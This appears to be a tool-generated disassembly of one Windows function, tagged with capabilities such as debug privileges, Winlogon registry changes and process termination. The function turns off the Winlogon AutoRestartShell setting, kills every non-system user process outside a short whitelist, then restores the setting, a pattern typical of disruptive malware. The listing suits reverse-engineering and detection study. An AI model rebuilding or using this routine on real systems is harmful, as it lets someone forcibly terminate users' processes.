Function at 0x140139700
Capabilities:
Acquire debug privileges
Enumerate process modules
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
mov qword [rbp - 9], 0xfffffffffffffffe
cmp byte [0x14042ca48], 0
je 0x140139731
xor al, al
jmp 0x140139cd6
lea rcx, [0x14034fce0]
call fcn.1400ff510
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
mov dword [rbp + 0x77], eax
lea rax, [0x140348ca0]
mov qword [rbp - 0x29], rax
xor r15d, r15d
mov qword [rbp - 0x21], r15
mov qword [rbp - 0x41], rax
mov qword [rbp - 0x39], r15
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x140139793
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, ebx
lea rcx, str._5d_OpenProcess_failed_with__d_r_n
call fcn.1402ba358
jmp 0x140139cb2
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x41]
lea r8, [rbp - 0x29]
lea rdx, [rbp + 0x67]
mov ecx, ebx
call fcn.1401395b0
test al, al
je 0x140139cb2
mov esi, 0x100
mov eax, 4
mul rsi
mov r14, 0xffffffffffffffff
cmovo rax, r14
mov rcx, rax
call fcn.1402b4964
mov r12, rax
mov qword [rbp - 0x31], rax
mov ebx, 0x400
mov dword [rbp + 0x67], r15d
lea r8, [rbp + 0x67]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x140139caa
nop word [rax + rax]
mov edi, dword [rbp + 0x67]
cmp edi, ebx
jb 0x14013984f
mov rcx, r12
call fcn.1402b99fc
add esi, esi
mov eax, 4
mul rsi
cmovo rax, r14
mov rcx, rax
call fcn.1402b4964
mov r12, rax
mov qword [rbp - 0x31], rax
lea ebx, [rsi*4]
mov dword [rbp + 0x67], r15d
lea r8, [rbp + 0x67]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x140139800
jmp 0x140139caa
shr edi, 2
mov r13d, 1
mov r14d, r13d
mov dword [rbp + 0x6f], r13d
mov qword [rbp - 0x71], r15
lea edx, [r13 + 0x39]
lea rcx, [rbp - 0x79]
call fcn.1401ff260
mov eax, dword [rbp - 0x71]
inc eax
movsxd rdx, eax
lea r9d, [r13 + 0x39]
lea r8, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, qword [rbp - 0x79]
call fcn.1402bd21c
lea edx, [r13 + 0x39]
lea rcx, [rbp - 0x79]
call fcn.140200570
nop
xor r8d, r8d
movzx edx, r13b
lea rcx, [rbp - 0x79]
call fcn.1400ec370
mov rsi, rax
mov qword [rbp - 0x11], rax
cmp dword [rbp - 0x71], 0
jle 0x1401398c0
mov rcx, qword [rbp - 0x79]
call fcn.1402b9c20
test rsi, rsi
je 0x14013993e
mov dword [rbp + 0x6f], r15d
mov dword [rbp + 0x7f], 4
lea rax, [rbp + 0x7f]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x19]
xor r8d, r8d
lea rdx, str.AutoRestartShell
mov rcx, qword [rsi + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
cmove r14d, dword [rbp + 0x6f]
mov dword [rbp + 0x6f], r14d
mov dword [rbp + 0x7f], r15d
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x7f]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.AutoRestartShell
mov rcx, qword [rsi + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test edi, edi
je 0x140139c4d
mov r15, r12
mov r13d, edi
mov r12d, dword [rbp + 0x77]
mov r14d, dword [r15]
cmp r14d, 4
jbe 0x140139c2e
cmp r14d, r12d
je 0x140139c2e
mov rdi, qword [0x14041a158]
test rdi, rdi
jne 0x14013997d
xor esi, esi
mov ebx, esi
mov qword [rsp + 0x48], rsi
jmp 0x140139996
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x140139981
xor esi, esi
mov qword [rsp + 0x48], rsi
test ebx, ebx
jne 0x1401399a4
lea rax, [0x140348ca0]
mov qword [rsp + 0x40], rax
jmp 0x1401399c9
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.1401ff260
movsxd r9, ebx
mov eax, dword [rsp + 0x48]
inc eax
movsxd rdx, eax
mov r8, rdi
mov rcx, qword [rsp + 0x40]
call fcn.1402bd21c
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140200570
nop
mov rdi, qword [0x14041a158]
test rdi, rdi
jne 0x1401399eb
mov ebx, esi
mov qword [rsp + 0x38], rdi
jmp 0x140139a07
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1401399f0
mov qword [rsp + 0x38], 0
test ebx, ebx
jne 0x140139a15
lea rax, [0x140348ca0]
mov qword [rsp + 0x30], rax
jmp 0x140139a3a
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.1401ff260
movsxd r9, ebx
mov eax, dword [rsp + 0x38]
inc eax
movsxd rdx, eax
mov r8, rdi
mov rcx, qword [rsp + 0x30]
call fcn.1402bd21c
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140200570
nop
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x140139a79
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, r14d
lea rcx, str._5d_OpenProcess_failed_with__d_r_n
call fcn.1402ba358
jmp 0x140139c0b
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x7f]
mov ecx, r14d
call fcn.1401395b0
test al, al
je 0x140139c0b
cmp dword [rbp - 0x7d], 0
je 0x140139c0b
xor r8d, r8d
lea rdx, str.NT_AUTHORITY_
lea rcx, [rsp + 0x40]
call fcn.1402019e0
test al, al
jne 0x140139c0b
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x51]
call fcn.1400d44f0
nop
xor bl, bl
mov edi, esi
lea rsi, str.xG5_
mov r12d, 1
nop dword [rax]
nop word [rax + rax]
xor r8d, r8d
mov rdx, qword [rsi]
lea rcx, [rbp - 0x51]
call fcn.1402019e0
movzx ebx, bl
test al, al
cmovne ebx, r12d
inc edi
lea rsi, [rsi + 8]
movsxd rax, edi
cmp rax, 7
jb 0x140139af0
test bl, bl
mov r12d, dword [rbp + 0x77]
jne 0x140139bfb
mov r8d, r14d
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140139bfb
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140139b59
lea rcx, str._5d__s_failed_to_terminate_r_n
jmp 0x140139be5
mov ebx, dword [rbp + 0x7f]
shl rbx, 0x20
or rbx, r14
xor eax, eax
mov qword [rbp - 0x61], rax
mov edx, dword [rsp + 0x3c]
test edx, edx
jne 0x140139b7e
lea rax, [0x140348ca0]
mov qword [rbp - 0x69], rax
jmp 0x140139ba6
lea rcx, [rbp - 0x69]
call fcn.1401ff260
movsxd r9, dword [rsp + 0x3c]
mov eax, dword [rbp - 0x61]
inc eax
movsxd rdx, eax
mov r8, qword [rsp + 0x30]
mov rcx, qword [rbp - 0x69]
call fcn.1402bd21c
mov edx, dword [rsp + 0x3c]
lea rcx, [rbp - 0x69]
call fcn.140200570
mov qword [rbp - 0x59], rbx
lea rdx, [rbp - 0x69]
call fcn.14013a280
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 1]
call fcn.14013a320
nop
cmp dword [rbp - 0x61], 0
jle 0x140139bde
mov rcx, qword [rbp - 0x69]
call fcn.1402b9c20
lea rcx, str._5d__s_terminated_r_n
mov r8, qword [rbp - 0x51]
mov edx, r14d
call fcn.1402bbeb8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp - 0x49], 0
jle 0x140139c0b
mov rcx, qword [rbp - 0x51]
call fcn.1402b9c20
nop
cmp dword [rsp + 0x38], 0
jle 0x140139c1d
mov rcx, qword [rsp + 0x30]
call fcn.1402b9c20
nop
cmp dword [rsp + 0x48], 0
jle 0x140139c2e
mov rcx, qword [rsp + 0x40]
call fcn.1402b9c20
add r15, 4
dec r13
jne 0x140139950
mov r12, qword [rbp - 0x31]
mov rsi, qword [rbp - 0x11]
mov r14d, dword [rbp + 0x6f]
mov r13d, 1
mov rcx, r12
call fcn.1402b99fc
test rsi, rsi
je 0x140139c9f
mov ecx, 0xd05
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x67], r14d
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x67]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.AutoRestartShell
mov rcx, qword [rsi + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rax, qword [rsi]
mov edx, r13d
mov rcx, rsi
call qword [rax]
mov byte [0x14042ca48], 1
mov bl, 1
jmp 0x140139cb4
mov rcx, r12
call fcn.1402b99fc
xor bl, bl
cmp dword [rbp - 0x39], 0
jle 0x140139cc4
mov rcx, qword [rbp - 0x41]
call fcn.1402b9c20
nop
cmp dword [rbp - 0x21], 0
jle 0x140139cd3
mov rcx, qword [rbp - 0x29]
call fcn.1402b9c20
movzx eax, bl
add rsp, 0xe8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret